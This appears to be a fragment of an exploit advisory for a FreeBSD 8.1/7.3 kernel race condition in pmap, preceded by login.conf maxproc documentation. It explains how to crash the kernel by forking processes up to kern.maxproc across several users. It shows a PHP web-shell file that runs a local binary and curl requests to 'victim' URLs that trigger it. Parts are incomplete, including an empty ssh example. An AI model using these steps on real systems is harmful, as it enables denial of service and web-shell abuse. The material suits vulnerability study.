maxproc
    This is the maximum number of processes a user may be running. This
includes foreground and background processes alike. For obvious reasons,
this may not be larger than the system limit specified by the
kern.maxproc sysctl(8). Also note that setting this too small may hinder
a user's productivity: it is often useful to be logged in multiple times
or execute pipelines. Some tasks, such as compiling a large program,
also spawn multiple processes (e.g., make(1), cc(1), and other
intermediate preprocessors).
vm.pmap.shpgperproc
          
          
- --- 1. FreeBSD 8.1/7.3 kernel local race condition ---
Race condition in pmap, allows attackers to denial of service freebsd
kernel. Creating a lot of process by fork() (~ kern.maxproc), it's
possible to denial kernel.
To bypass the MAXPROC from login.conf, we can use a few users to run PoC
in this same time, to reach kern.maxproc. suphp can be very usefully.
  
We need choose vector attack. When we have access to few users via ssh,
use openssh.
  
Example attack by ssh

But when we have php-shell from several uid`s, we can also use suphp.
  
Example attack by suphp:
127# cat cxuser.php
<?php
        system("./def");
?>
127# ls -la
total 16

now remote request to cxuser.php and maxuser.php
  
curl http://victim/hack/cxuser.php
and in the same time
curl http://victim/hack/maxuser.php
